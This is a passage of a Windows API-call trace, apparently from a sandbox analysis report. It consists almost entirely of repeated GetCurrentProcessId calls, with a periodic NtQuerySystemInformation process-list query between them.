returned 0xbf4 [0253.837] GetCurrentProcessId () returned 0xbf4 [0253.837] GetCurrentProcessId () returned 0xbf4 [0253.837] GetCurrentProcessId () returned 0xbf4 [0253.837] GetCurrentProcessId () returned 0xbf4 [0253.837] GetCurrentProcessId () returned 0xbf4 [0253.837] GetCurrentProcessId () returned 0xbf4 [0253.837] GetCurrentProcessId () returned 0xbf4 [0253.837] GetCurrentProcessId () returned 0xbf4 [0253.838] GetCurrentProcessId () returned 0xbf4 [0253.838] GetCurrentProcessId () returned 0xbf4 [0253.838] GetCurrentProcessId () returned 0xbf4 [0253.838] GetCurrentProcessId () returned 0xbf4 [0253.838] GetCurrentProcessId () returned 0xbf4 [0253.838] GetCurrentProcessId () returned 0xbf4 [0253.838] GetCurrentProcessId () returned 0xbf4 [0253.838] GetCurrentProcessId () returned 0xbf4 [0253.838] GetCurrentProcessId () returned 0xbf4 [0253.838] GetCurrentProcessId () returned 0xbf4 [0253.838] GetCurrentProcessId () returned 0xbf4 [0253.838] GetCurrentProcessId () returned 0xbf4 [0253.838] GetCurrentProcessId () returned 0xbf4 [0254.364] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x12da3098, ResultLength=0x1b7bebb0*=0x1ca90) returned 0x0 [0254.368] GetCurrentProcessId () returned 0xbf4 [0254.369] GetCurrentProcessId () returned 0xbf4 [0254.369] GetCurrentProcessId () returned 0xbf4 [0254.369] GetCurrentProcessId () returned 0xbf4 [0254.369] GetCurrentProcessId () returned 0xbf4 [0254.369] GetCurrentProcessId () returned 0xbf4 [0254.369] GetCurrentProcessId () returned 0xbf4 [0254.369] GetCurrentProcessId () returned 0xbf4 [0254.369] GetCurrentProcessId () returned 0xbf4 [0254.369] GetCurrentProcessId () returned 0xbf4 [0254.369] GetCurrentProcessId () returned 0xbf4 [0254.369] GetCurrentProcessId () returned 0xbf4 [0254.369] GetCurrentProcessId () returned 0xbf4 [0254.369] GetCurrentProcessId () returned 0xbf4 [0254.369] GetCurrentProcessId () returned 0xbf4 [0254.369] GetCurrentProcessId () returned 0xbf4 [0254.369] GetCurrentProcessId () returned 0xbf4 [0254.369] GetCurrentProcessId () returned 0xbf4 [0254.369] GetCurrentProcessId () returned 0xbf4 [0254.369] GetCurrentProcessId () returned 0xbf4 [0254.369] GetCurrentProcessId () returned 0xbf4 [0254.369] GetCurrentProcessId () returned 0xbf4 [0254.369] GetCurrentProcessId () returned 0xbf4 [0254.369] GetCurrentProcessId () returned 0xbf4 [0254.369] GetCurrentProcessId () returned 0xbf4 [0254.369] GetCurrentProcessId () returned 0xbf4 [0254.369] GetCurrentProcessId () returned 0xbf4 [0254.369] GetCurrentProcessId () returned 0xbf4 [0254.369] GetCurrentProcessId () returned 0xbf4 [0254.369] GetCurrentProcessId () returned 0xbf4 [0254.369] GetCurrentProcessId () returned 0xbf4 [0254.369] GetCurrentProcessId () returned 0xbf4 [0254.369] GetCurrentProcessId () returned 0xbf4 [0254.370] GetCurrentProcessId () returned 0xbf4 [0254.370] GetCurrentProcessId () returned 0xbf4 [0254.370] GetCurrentProcessId () returned 0xbf4 [0254.370] GetCurrentProcessId () returned 0xbf4 [0254.370] GetCurrentProcessId () returned 0xbf4 [0254.370] GetCurrentProcessId () returned 0xbf4 [0254.370] GetCurrentProcessId () returned 0xbf4 [0254.370] GetCurrentProcessId () returned 0xbf4 [0254.370] GetCurrentProcessId () returned 0xbf4 [0254.370] GetCurrentProcessId () returned 0xbf4 [0254.370] GetCurrentProcessId () returned 0xbf4 [0254.370] GetCurrentProcessId () returned 0xbf4 [0254.370] GetCurrentProcessId () returned 0xbf4 [0254.370] GetCurrentProcessId () returned 0xbf4 [0254.370] GetCurrentProcessId () returned 0xbf4 [0254.370] GetCurrentProcessId () returned 0xbf4 [0254.370] GetCurrentProcessId () returned 0xbf4 [0254.370] GetCurrentProcessId () returned 0xbf4 [0254.370] GetCurrentProcessId () returned 0xbf4 [0254.370] GetCurrentProcessId () returned 0xbf4 [0254.370] GetCurrentProcessId () returned 0xbf4 [0254.370] GetCurrentProcessId () returned 0xbf4 [0254.370] GetCurrentProcessId () returned 0xbf4 [0254.370] GetCurrentProcessId () returned 0xbf4 [0254.370] GetCurrentProcessId () returned 0xbf4 [0254.370] GetCurrentProcessId () returned 0xbf4 [0254.370] GetCurrentProcessId () returned 0xbf4 [0254.370] GetCurrentProcessId () returned 0xbf4 [0254.370] GetCurrentProcessId () returned 0xbf4 [0254.370] GetCurrentProcessId () returned 0xbf4 [0254.370] GetCurrentProcessId () returned 0xbf4 [0254.370] GetCurrentProcessId () returned 0xbf4 [0254.370] GetCurrentProcessId () returned 0xbf4 [0254.370] GetCurrentProcessId () returned 0xbf4 [0254.371] GetCurrentProcessId () returned 0xbf4 [0254.371] GetCurrentProcessId () returned 0xbf4 [0254.371] GetCurrentProcessId () returned 0xbf4 [0254.371] GetCurrentProcessId () returned 0xbf4 [0254.371] GetCurrentProcessId () returned 0xbf4 [0254.371] GetCurrentProcessId () returned 0xbf4 [0254.371] GetCurrentProcessId () returned 0xbf4 [0254.371] GetCurrentProcessId () returned 0xbf4 [0254.371] GetCurrentProcessId () returned 0xbf4 [0254.371] GetCurrentProcessId () returned 0xbf4 [0254.371] GetCurrentProcessId () returned 0xbf4 [0254.371] GetCurrentProcessId () returned 0xbf4 [0254.371] GetCurrentProcessId () returned 0xbf4 [0254.371] GetCurrentProcessId () returned 0xbf4 [0254.371] GetCurrentProcessId () returned 0xbf4 [0254.371] GetCurrentProcessId () returned 0xbf4 [0254.371] GetCurrentProcessId () returned 0xbf4 [0254.371] GetCurrentProcessId () returned 0xbf4 [0254.371] GetCurrentProcessId () returned 0xbf4 [0254.371] GetCurrentProcessId () returned 0xbf4 [0254.371] GetCurrentProcessId () returned 0xbf4 [0254.371] GetCurrentProcessId () returned 0xbf4 [0254.371] GetCurrentProcessId () returned 0xbf4 [0254.371] GetCurrentProcessId () returned 0xbf4 [0254.371] GetCurrentProcessId () returned 0xbf4 [0254.371] GetCurrentProcessId () returned 0xbf4 [0254.371] GetCurrentProcessId () returned 0xbf4 [0254.371] GetCurrentProcessId () returned 0xbf4 [0254.371] GetCurrentProcessId () returned 0xbf4 [0254.371] GetCurrentProcessId () returned 0xbf4 [0254.371] GetCurrentProcessId () returned 0xbf4 [0254.371] GetCurrentProcessId () returned 0xbf4 [0254.371] GetCurrentProcessId () returned 0xbf4 [0254.371] GetCurrentProcessId () returned 0xbf4 [0254.372] GetCurrentProcessId () returned 0xbf4 [0254.372] GetCurrentProcessId () returned 0xbf4 [0254.372] GetCurrentProcessId () returned 0xbf4 [0254.372] GetCurrentProcessId () returned 0xbf4 [0254.372] GetCurrentProcessId () returned 0xbf4 [0254.372] GetCurrentProcessId () returned 0xbf4 [0254.877] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x12da3098, ResultLength=0x1b7bebb0*=0x1ca90) returned 0x0 [0254.883] GetCurrentProcessId () returned 0xbf4 [0254.883] GetCurrentProcessId () returned 0xbf4 [0254.883] GetCurrentProcessId () returned 0xbf4 [0254.883] GetCurrentProcessId () returned 0xbf4 [0254.883] GetCurrentProcessId () returned 0xbf4 [0254.883] GetCurrentProcessId () returned 0xbf4 [0254.883] GetCurrentProcessId () returned 0xbf4 [0254.883] GetCurrentProcessId () returned 0xbf4 [0254.883] GetCurrentProcessId () returned 0xbf4 [0254.883] GetCurrentProcessId () returned 0xbf4 [0254.883] GetCurrentProcessId () returned 0xbf4 [0254.883] GetCurrentProcessId () returned 0xbf4 [0254.883] GetCurrentProcessId () returned 0xbf4 [0254.883] GetCurrentProcessId () returned 0xbf4 [0254.883] GetCurrentProcessId () returned 0xbf4 [0254.883] GetCurrentProcessId () returned 0xbf4 [0254.883] GetCurrentProcessId () returned 0xbf4 [0254.883] GetCurrentProcessId () returned 0xbf4 [0254.883] GetCurrentProcessId () returned 0xbf4 [0254.884] GetCurrentProcessId () returned 0xbf4 [0254.884] GetCurrentProcessId () returned 0xbf4 [0254.884] GetCurrentProcessId () returned 0xbf4 [0254.884] GetCurrentProcessId () returned 0xbf4 [0254.884] GetCurrentProcessId () returned 0xbf4 [0254.884] GetCurrentProcessId () returned 0xbf4 [0254.884] GetCurrentProcessId () returned 0xbf4 [0254.884] GetCurrentProcessId () returned 0xbf4 [0254.884] GetCurrentProcessId () returned 0xbf4 [0254.884] GetCurrentProcessId () returned 0xbf4 [0254.884] GetCurrentProcessId () returned 0xbf4 [0254.884] GetCurrentProcessId () returned 0xbf4 [0254.884] GetCurrentProcessId () returned 0xbf4 [0254.884] GetCurrentProcessId () returned 0xbf4 [0254.884] GetCurrentProcessId () returned 0xbf4 [0254.884] GetCurrentProcessId () returned 0xbf4 [0254.884] GetCurrentProcessId () returned 0xbf4 [0254.884] GetCurrentProcessId () returned 0xbf4 [0254.884] GetCurrentProcessId () returned 0xbf4 [0254.884] GetCurrentProcessId () returned 0xbf4 [0254.884] GetCurrentProcessId () returned 0xbf4 [0254.884] GetCurrentProcessId () returned 0xbf4 [0254.884] GetCurrentProcessId () returned 0xbf4 [0254.884] GetCurrentProcessId () returned 0xbf4 [0254.884] GetCurrentProcessId () returned 0xbf4 [0254.884] GetCurrentProcessId () returned 0xbf4 [0254.884] GetCurrentProcessId () returned 0xbf4 [0254.884] GetCurrentProcessId () returned 0xbf4 [0254.884] GetCurrentProcessId () returned 0xbf4 [0254.884] GetCurrentProcessId () returned 0xbf4 [0254.884] GetCurrentProcessId () returned 0xbf4 [0254.884] GetCurrentProcessId () returned 0xbf4 [0254.885] GetCurrentProcessId () returned 0xbf4 [0254.885] GetCurrentProcessId () returned 0xbf4 [0254.885] GetCurrentProcessId () returned 0xbf4 [0254.885] GetCurrentProcessId () returned 0xbf4 [0254.885] GetCurrentProcessId () returned 0xbf4 [0254.885] GetCurrentProcessId () returned 0xbf4 [0254.885] GetCurrentProcessId () returned 0xbf4 [0254.885] GetCurrentProcessId () returned 0xbf4 [0254.885] GetCurrentProcessId () returned 0xbf4 [0254.885] GetCurrentProcessId () returned 0xbf4 [0254.885] GetCurrentProcessId () returned 0xbf4 [0254.885] GetCurrentProcessId () returned 0xbf4 [0254.885] GetCurrentProcessId () returned 0xbf4 [0254.885] GetCurrentProcessId () returned 0xbf4 [0254.885] GetCurrentProcessId () returned 0xbf4 [0254.885] GetCurrentProcessId () returned 0xbf4 [0254.885] GetCurrentProcessId () returned 0xbf4 [0254.885] GetCurrentProcessId () returned 0xbf4 [0254.885] GetCurrentProcessId () returned 0xbf4 [0254.885] GetCurrentProcessId () returned 0xbf4 [0254.885] GetCurrentProcessId () returned 0xbf4 [0254.885] GetCurrentProcessId () returned 0xbf4 [0254.885] GetCurrentProcessId () returned 0xbf4 [0254.885] GetCurrentProcessId () returned 0xbf4 [0254.885] GetCurrentProcessId () returned 0xbf4 [0254.885] GetCurrentProcessId () returned 0xbf4 [0254.885] GetCurrentProcessId () returned 0xbf4 [0254.885] GetCurrentProcessId () returned 0xbf4 [0254.885] GetCurrentProcessId () returned 0xbf4 [0254.885] GetCurrentProcessId () returned 0xbf4 [0254.885] GetCurrentProcessId () returned 0xbf4 [0254.885] GetCurrentProcessId () returned 0xbf4 [0254.885] GetCurrentProcessId () returned 0xbf4 [0254.885] GetCurrentProcessId () returned 0xbf4 [0254.886] GetCurrentProcessId () returned 0xbf4 [0254.886] GetCurrentProcessId () returned 0xbf4 [0254.886] GetCurrentProcessId () returned 0xbf4 [0254.886] GetCurrentProcessId () returned 0xbf4 [0254.886] GetCurrentProcessId () returned 0xbf4 [0254.886] GetCurrentProcessId () returned 0xbf4 [0254.886] GetCurrentProcessId () returned 0xbf4 [0254.886] GetCurrentProcessId () returned 0xbf4 [0254.886] GetCurrentProcessId () returned 0xbf4 [0254.886] GetCurrentProcessId () returned 0xbf4 [0254.886] GetCurrentProcessId () returned 0xbf4 [0254.886] GetCurrentProcessId () returned 0xbf4 [0254.886] GetCurrentProcessId () returned 0xbf4 [0254.886] GetCurrentProcessId () returned 0xbf4 [0254.886] GetCurrentProcessId () returned 0xbf4 [0254.886] GetCurrentProcessId () returned 0xbf4 [0254.886] GetCurrentProcessId () returned 0xbf4 [0254.886] GetCurrentProcessId () returned 0xbf4 [0254.886] GetCurrentProcessId () returned 0xbf4 [0254.886] GetCurrentProcessId () returned 0xbf4 [0254.886] GetCurrentProcessId () returned 0xbf4 [0254.886] GetCurrentProcessId () returned 0xbf4 [0255.394] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x12da3098, ResultLength=0x1b7bebb0*=0x1ca90) returned 0x0 [0255.397] GetCurrentProcessId () returned 0xbf4 [0255.397] GetCurrentProcessId () returned 0xbf4 [0255.397] GetCurrentProcessId () returned 0xbf4 [0255.397] GetCurrentProcessId () returned 0xbf4 [0255.397] GetCurrentProcessId () returned 0xbf4 [0255.397] GetCurrentProcessId () returned 0xbf4 [0255.397] GetCurrentProcessId () returned 0xbf4 [0255.397] GetCurrentProcessId () returned 0xbf4 [0255.397] GetCurrentProcessId () returned 0xbf4 [0255.397] GetCurrentProcessId () returned 0xbf4 [0255.397] GetCurrentProcessId () returned 0xbf4 [0255.397] GetCurrentProcessId () returned 0xbf4 [0255.397] GetCurrentProcessId () returned 0xbf4 [0255.397] GetCurrentProcessId () returned 0xbf4 [0255.397] GetCurrentProcessId () returned 0xbf4 [0255.397] GetCurrentProcessId () returned 0xbf4 [0255.397] GetCurrentProcessId () returned 0xbf4 [0255.397] GetCurrentProcessId () returned 0xbf4 [0255.397] GetCurrentProcessId () returned 0xbf4 [0255.397] GetCurrentProcessId () returned 0xbf4 [0255.397] GetCurrentProcessId () returned 0xbf4 [0255.397] GetCurrentProcessId () returned 0xbf4 [0255.397] GetCurrentProcessId () returned 0xbf4 [0255.397] GetCurrentProcessId () returned 0xbf4 [0255.397] GetCurrentProcessId () returned 0xbf4 [0255.397] GetCurrentProcessId () returned 0xbf4 [0255.398] GetCurrentProcessId () returned 0xbf4 [0255.398] GetCurrentProcessId () returned 0xbf4 [0255.398] GetCurrentProcessId () returned 0xbf4 [0255.398] GetCurrentProcessId () returned 0xbf4 [0255.398] GetCurrentProcessId () returned 0xbf4 [0255.398] GetCurrentProcessId () returned 0xbf4 [0255.398] GetCurrentProcessId () returned 0xbf4 [0255.398] GetCurrentProcessId () returned 0xbf4 [0255.398] GetCurrentProcessId () returned 0xbf4 [0255.398] GetCurrentProcessId () returned 0xbf4 [0255.398] GetCurrentProcessId () returned 0xbf4 [0255.398] GetCurrentProcessId () returned 0xbf4 [0255.398] GetCurrentProcessId () returned 0xbf4 [0255.398] GetCurrentProcessId () returned 0xbf4 [0255.398] GetCurrentProcessId () returned 0xbf4 [0255.398] GetCurrentProcessId () returned 0xbf4 [0255.398] GetCurrentProcessId () returned 0xbf4 [0255.398] GetCurrentProcessId () returned 0xbf4 [0255.398] GetCurrentProcessId () returned 0xbf4 [0255.398] GetCurrentProcessId () returned 0xbf4 [0255.398] GetCurrentProcessId () returned 0xbf4 [0255.398] GetCurrentProcessId () returned 0xbf4 [0255.398] GetCurrentProcessId () returned 0xbf4 [0255.398] GetCurrentProcessId () returned 0xbf4 [0255.398] GetCurrentProcessId () returned 0xbf4 [0255.398] GetCurrentProcessId () returned 0xbf4 [0255.398] GetCurrentProcessId () returned 0xbf4 [0255.398] GetCurrentProcessId () returned 0xbf4 [0255.398] GetCurrentProcessId () returned 0xbf4 [0255.398] GetCurrentProcessId () returned 0xbf4 [0255.398] GetCurrentProcessId () returned 0xbf4 [0255.398] GetCurrentProcessId () returned 0xbf4 [0255.398] GetCurrentProcessId () returned 0xbf4 [0255.398] GetCurrentProcessId () returned 0xbf4 [0255.398] GetCurrentProcessId () returned 0xbf4 [0255.398] GetCurrentProcessId () returned 0xbf4 [0255.399] GetCurrentProcessId () returned 0xbf4 [0255.399] GetCurrentProcessId () returned 0xbf4 [0255.399] GetCurrentProcessId () returned 0xbf4 [0255.399] GetCurrentProcessId () returned 0xbf4 [0255.399] GetCurrentProcessId () returned 0xbf4 [0255.399] GetCurrentProcessId () returned 0xbf4 [0255.399] GetCurrentProcessId () returned 0xbf4 [0255.399] GetCurrentProcessId () returned 0xbf4 [0255.399] GetCurrentProcessId () returned 0xbf4 [0255.399] GetCurrentProcessId () returned 0xbf4 [0255.399] GetCurrentProcessId () returned 0xbf4 [0255.399] GetCurrentProcessId () returned 0xbf4 [0255.399] GetCurrentProcessId () returned 0xbf4 [0255.399] GetCurrentProcessId () returned 0xbf4 [0255.399] GetCurrentProcessId () returned 0xbf4 [0255.399] GetCurrentProcessId () returned 0xbf4 [0255.399] GetCurrentProcessId () returned 0xbf4 [0255.399] GetCurrentProcessId () returned 0xbf4 [0255.399] GetCurrentProcessId () returned 0xbf4 [0255.399] GetCurrentProcessId () returned 0xbf4 [0255.399] GetCurrentProcessId () returned 0xbf4 [0255.399] GetCurrentProcessId () returned 0xbf4 [0255.399] GetCurrentProcessId () returned 0xbf4 [0255.399] GetCurrentProcessId () returned 0xbf4 [0255.399] GetCurrentProcessId () returned 0xbf4 [0255.399] GetCurrentProcessId () returned 0xbf4 [0255.399] GetCurrentProcessId () returned 0xbf4 [0255.399] GetCurrentProcessId () returned 0xbf4 [0255.399] GetCurrentProcessId () returned 0xbf4 [0255.399] GetCurrentProcessId () returned 0xbf4 [0255.399] GetCurrentProcessId () returned 0xbf4 [0255.399] GetCurrentProcessId () returned 0xbf4 [0255.399] GetCurrentProcessId () returned 0xbf4 [0255.399] GetCurrentProcessId () returned 0xbf4 [0255.399] GetCurrentProcessId () returned 0xbf4 [0255.399] GetCurrentProcessId () returned 0xbf4 [0255.400] GetCurrentProcessId () returned 0xbf4 [0255.400] GetCurrentProcessId () returned 0xbf4 [0255.400] GetCurrentProcessId () returned 0xbf4 [0255.400] GetCurrentProcessId () returned 0xbf4 [0255.400] GetCurrentProcessId () returned 0xbf4 [0255.400] GetCurrentProcessId () returned 0xbf4 [0255.400] GetCurrentProcessId () returned 0xbf4 [0255.400] GetCurrentProcessId () returned 0xbf4 [0255.400] GetCurrentProcessId () returned 0xbf4 [0255.908] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x12da3098, ResultLength=0x1b7bebb0*=0x1ca40) returned 0x0 [0255.910] GetCurrentProcessId () returned 0xbf4 [0255.910] GetCurrentProcessId () returned 0xbf4 [0255.910] GetCurrentProcessId () returned 0xbf4 [0255.910] GetCurrentProcessId () returned 0xbf4 [0255.910] GetCurrentProcessId () returned 0xbf4 [0255.910] GetCurrentProcessId () returned 0xbf4 [0255.910] GetCurrentProcessId () returned 0xbf4 [0255.910] GetCurrentProcessId () returned 0xbf4 [0255.910] GetCurrentProcessId () returned 0xbf4 [0255.910] GetCurrentProcessId () returned 0xbf4 [0255.910] GetCurrentProcessId () returned 0xbf4 [0255.910] GetCurrentProcessId () returned 0xbf4 [0255.910] GetCurrentProcessId () returned 0xbf4 [0255.910] GetCurrentProcessId () returned 0xbf4 [0255.910] GetCurrentProcessId () returned 0xbf4 [0255.910] GetCurrentProcessId () returned 0xbf4 [0255.910] GetCurrentProcessId () returned 0xbf4 [0255.910] GetCurrentProcessId () returned 0xbf4 [0255.910] GetCurrentProcessId () returned 0xbf4 [0255.910] GetCurrentProcessId () returned 0xbf4 [0255.911] GetCurrentProcessId () returned 0xbf4 [0255.911] GetCurrentProcessId () returned 0xbf4 [0255.911] GetCurrentProcessId () returned 0xbf4 [0255.911] GetCurrentProcessId () returned 0xbf4 [0255.911] GetCurrentProcessId () returned 0xbf4 [0255.911] GetCurrentProcessId () returned 0xbf4 [0255.911] GetCurrentProcessId () returned 0xbf4 [0255.911] GetCurrentProcessId () returned 0xbf4 [0255.911] GetCurrentProcessId () returned 0xbf4 [0255.911] GetCurrentProcessId () returned 0xbf4 [0255.911] GetCurrentProcessId () returned 0xbf4 [0255.911] GetCurrentProcessId () returned 0xbf4 [0255.911] GetCurrentProcessId () returned 0xbf4 [0255.911] GetCurrentProcessId () returned 0xbf4 [0255.911] GetCurrentProcessId () returned 0xbf4 [0255.911] GetCurrentProcessId () returned 0xbf4 [0255.911] GetCurrentProcessId () returned 0xbf4 [0255.911] GetCurrentProcessId () returned 0xbf4 [0255.911] GetCurrentProcessId () returned 0xbf4 [0255.911] GetCurrentProcessId () returned 0xbf4 [0255.911] GetCurrentProcessId () returned 0xbf4 [0255.911] GetCurrentProcessId () returned 0xbf4 [0255.911] GetCurrentProcessId () returned 0xbf4 [0255.911] GetCurrentProcessId () returned 0xbf4 [0255.911] GetCurrentProcessId () returned 0xbf4 [0255.911] GetCurrentProcessId () returned 0xbf4 [0255.911] GetCurrentProcessId () returned 0xbf4 [0255.911] GetCurrentProcessId () returned 0xbf4 [0255.911] GetCurrentProcessId () returned 0xbf4 [0255.911] GetCurrentProcessId () returned 0xbf4 [0255.911] GetCurrentProcessId () returned 0xbf4 [0255.911] GetCurrentProcessId () returned 0xbf4 [0255.911] GetCurrentProcessId () returned 0xbf4 [0255.911] GetCurrentProcessId () returned 0xbf4 [0255.911] GetCurrentProcessId () returned 0xbf4 [0255.911] GetCurrentProcessId () returned 0xbf4 [0255.912] GetCurrentProcessId () returned 0xbf4 [0255.912] GetCurrentProcessId () returned 0xbf4 [0255.912] GetCurrentProcessId () returned 0xbf4 [0255.912] GetCurrentProcessId () returned 0xbf4 [0255.912] GetCurrentProcessId () returned 0xbf4 [0255.912] GetCurrentProcessId () returned 0xbf4 [0255.912] GetCurrentProcessId () returned 0xbf4 [0255.912] GetCurrentProcessId () returned 0xbf4 [0255.912] GetCurrentProcessId () returned 0xbf4 [0255.912] GetCurrentProcessId () returned 0xbf4 [0255.912] GetCurrentProcessId () returned 0xbf4 [0255.912] GetCurrentProcessId () returned 0xbf4 [0255.912] GetCurrentProcessId () returned 0xbf4 [0255.912] GetCurrentProcessId () returned 0xbf4 [0255.912] GetCurrentProcessId () returned 0xbf4 [0255.912] GetCurrentProcessId () returned 0xbf4 [0255.912] GetCurrentProcessId () returned 0xbf4 [0255.912] GetCurrentProcessId () returned 0xbf4 [0255.912] GetCurrentProcessId () returned 0xbf4 [0255.912] GetCurrentProcessId () returned 0xbf4 [0255.912] GetCurrentProcessId () returned 0xbf4 [0255.912] GetCurrentProcessId () returned 0xbf4 [0255.912] GetCurrentProcessId () returned 0xbf4 [0255.912] GetCurrentProcessId () returned 0xbf4 [0255.912] GetCurrentProcessId () returned 0xbf4 [0255.912] GetCurrentProcessId () returned 0xbf4 [0255.912] GetCurrentProcessId () returned 0xbf4 [0255.912] GetCurrentProcessId () returned 0xbf4 [0255.912] GetCurrentProcessId () returned 0xbf4 [0255.912] GetCurrentProcessId () returned 0xbf4 [0255.912] GetCurrentProcessId () returned 0xbf4 [0255.912] GetCurrentProcessId () returned 0xbf4 [0255.912] GetCurrentProcessId () returned 0xbf4 [0255.912] GetCurrentProcessId () returned 0xbf4 [0255.912] GetCurrentProcessId () returned 0xbf4 [0255.913] GetCurrentProcessId () returned 0xbf4 [0255.913] GetCurrentProcessId () returned 0xbf4 [0255.913] GetCurrentProcessId () returned 0xbf4 [0255.913] GetCurrentProcessId () returned 0xbf4 [0255.913] GetCurrentProcessId () returned 0xbf4 [0255.913] GetCurrentProcessId () returned 0xbf4 [0255.913] GetCurrentProcessId () returned 0xbf4 [0255.913] GetCurrentProcessId () returned 0xbf4 [0255.913] GetCurrentProcessId () returned 0xbf4 [0255.913] GetCurrentProcessId () returned 0xbf4 [0255.913] GetCurrentProcessId () returned 0xbf4 [0255.913] GetCurrentProcessId () returned 0xbf4 [0255.913] GetCurrentProcessId () returned 0xbf4 [0255.913] GetCurrentProcessId () returned 0xbf4 [0255.913] GetCurrentProcessId () returned 0xbf4 [0255.913] GetCurrentProcessId () returned 0xbf4 [0256.479] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x12da3098, ResultLength=0x1b7bebb0*=0x1cdd0) returned 0x0 [0256.498] GetCurrentProcessId () returned 0xbf4 [0256.498] GetCurrentProcessId () returned 0xbf4 [0256.498] GetCurrentProcessId () returned 0xbf4 [0256.498] GetCurrentProcessId () returned 0xbf4 [0256.498] GetCurrentProcessId () returned 0xbf4 [0256.498] GetCurrentProcessId () returned 0xbf4 [0256.498] GetCurrentProcessId () returned 0xbf4 [0256.498] GetCurrentProcessId () returned 0xbf4 [0256.498] GetCurrentProcessId () returned 0xbf4 [0256.498] GetCurrentProcessId () returned 0xbf4 [0256.498] GetCurrentProcessId () returned 0xbf4 [0256.498] GetCurrentProcessId () returned 0xbf4 [0256.498] GetCurrentProcessId () returned 0xbf4 [0256.498] GetCurrentProcessId () returned 0xbf4 [0256.498] GetCurrentProcessId () returned 0xbf4 [0256.498] GetCurrentProcessId () returned 0xbf4 [0256.498] GetCurrentProcessId () returned 0xbf4 [0256.498] GetCurrentProcessId () returned 0xbf4 [0256.498] GetCurrentProcessId () returned 0xbf4 [0256.498] GetCurrentProcessId () returned 0xbf4 [0256.498] GetCurrentProcessId () returned 0xbf4 [0256.498] GetCurrentProcessId () returned 0xbf4 [0256.498] GetCurrentProcessId () returned 0xbf4 [0256.498] GetCurrentProcessId () returned 0xbf4 [0256.498] GetCurrentProcessId () returned 0xbf4 [0256.498] GetCurrentProcessId () returned 0xbf4 [0256.498] GetCurrentProcessId () returned 0xbf4 [0256.498] GetCurrentProcessId () returned 0xbf4 [0256.498] GetCurrentProcessId () returned 0xbf4 [0256.498] GetCurrentProcessId () returned 0xbf4 [0256.499] GetCurrentProcessId () returned 0xbf4 [0256.499] GetCurrentProcessId () returned 0xbf4 [0256.499] GetCurrentProcessId () returned 0xbf4 [0256.499] GetCurrentProcessId () returned 0xbf4 [0256.499] GetCurrentProcessId () returned 0xbf4 [0256.499] GetCurrentProcessId () returned 0xbf4 [0256.499] GetCurrentProcessId () returned 0xbf4 [0256.499] GetCurrentProcessId () returned 0xbf4 [0256.499] GetCurrentProcessId () returned 0xbf4 [0256.499] GetCurrentProcessId () returned 0xbf4 [0256.499] GetCurrentProcessId () returned 0xbf4 [0256.499] GetCurrentProcessId () returned 0xbf4 [0256.499] GetCurrentProcessId () returned 0xbf4 [0256.499] GetCurrentProcessId () returned 0xbf4 [0256.499] GetCurrentProcessId () returned 0xbf4 [0256.499] GetCurrentProcessId () returned 0xbf4 [0256.499] GetCurrentProcessId () returned 0xbf4 [0256.499] GetCurrentProcessId () returned 0xbf4 [0256.499] GetCurrentProcessId () returned 0xbf4 [0256.499] GetCurrentProcessId () returned 0xbf4 [0256.499] GetCurrentProcessId () returned 0xbf4 [0256.499] GetCurrentProcessId () returned 0xbf4 [0256.499] GetCurrentProcessId () returned 0xbf4 [0256.499] GetCurrentProcessId () returned 0xbf4 [0256.499] GetCurrentProcessId () returned 0xbf4 [0256.499] GetCurrentProcessId () returned 0xbf4 [0256.499] GetCurrentProcessId () returned 0xbf4 [0256.499] GetCurrentProcessId () returned 0xbf4 [0256.499] GetCurrentProcessId () returned 0xbf4 [0256.499] GetCurrentProcessId () returned 0xbf4 [0256.499] GetCurrentProcessId () returned 0xbf4 [0256.499] GetCurrentProcessId () returned 0xbf4 [0256.499] GetCurrentProcessId () returned 0xbf4 [0256.499] GetCurrentProcessId () returned 0xbf4 [0256.499] GetCurrentProcessId () returned 0xbf4 [0256.499] GetCurrentProcessId () returned 0xbf4 [0256.500] GetCurrentProcessId () returned 0xbf4 [0256.500] GetCurrentProcessId () returned 0xbf4 [0256.500] GetCurrentProcessId () returned 0xbf4 [0256.500] GetCurrentProcessId () returned 0xbf4 [0256.500] GetCurrentProcessId () returned 0xbf4 [0256.500] GetCurrentProcessId () returned 0xbf4 [0256.500] GetCurrentProcessId () returned 0xbf4 [0256.500] GetCurrentProcessId () returned 0xbf4 [0256.500] GetCurrentProcessId () returned 0xbf4 [0256.500] GetCurrentProcessId () returned 0xbf4 [0256.500] GetCurrentProcessId () returned 0xbf4 [0256.500] GetCurrentProcessId () returned 0xbf4 [0256.500] GetCurrentProcessId () returned 0xbf4 [0256.500] GetCurrentProcessId () returned 0xbf4 [0256.500] GetCurrentProcessId () returned 0xbf4 [0256.500] GetCurrentProcessId () returned 0xbf4 [0256.500] GetCurrentProcessId () returned 0xbf4 [0256.500] GetCurrentProcessId () returned 0xbf4 [0256.500] GetCurrentProcessId () returned 0xbf4 [0256.500] GetCurrentProcessId () returned 0xbf4 [0256.500] GetCurrentProcessId () returned 0xbf4 [0256.500] GetCurrentProcessId () returned 0xbf4 [0256.500] GetCurrentProcessId () returned 0xbf4 [0256.500] GetCurrentProcessId () returned 0xbf4 [0256.500] GetCurrentProcessId () returned 0xbf4 [0256.500] GetCurrentProcessId () returned 0xbf4 [0256.500] GetCurrentProcessId () returned 0xbf4 [0256.500] GetCurrentProcessId () returned 0xbf4 [0256.500] GetCurrentProcessId () returned 0xbf4 [0256.500] GetCurrentProcessId () returned 0xbf4 [0256.500] GetCurrentProcessId () returned 0xbf4 [0256.500] GetCurrentProcessId () returned 0xbf4 [0256.501] GetCurrentProcessId () returned 0xbf4 [0256.501] GetCurrentProcessId () returned 0xbf4 [0256.501] GetCurrentProcessId () returned 0xbf4 [0256.501] GetCurrentProcessId () returned 0xbf4 [0256.501] GetCurrentProcessId () returned 0xbf4 [0256.501] GetCurrentProcessId () returned 0xbf4 [0256.501] GetCurrentProcessId 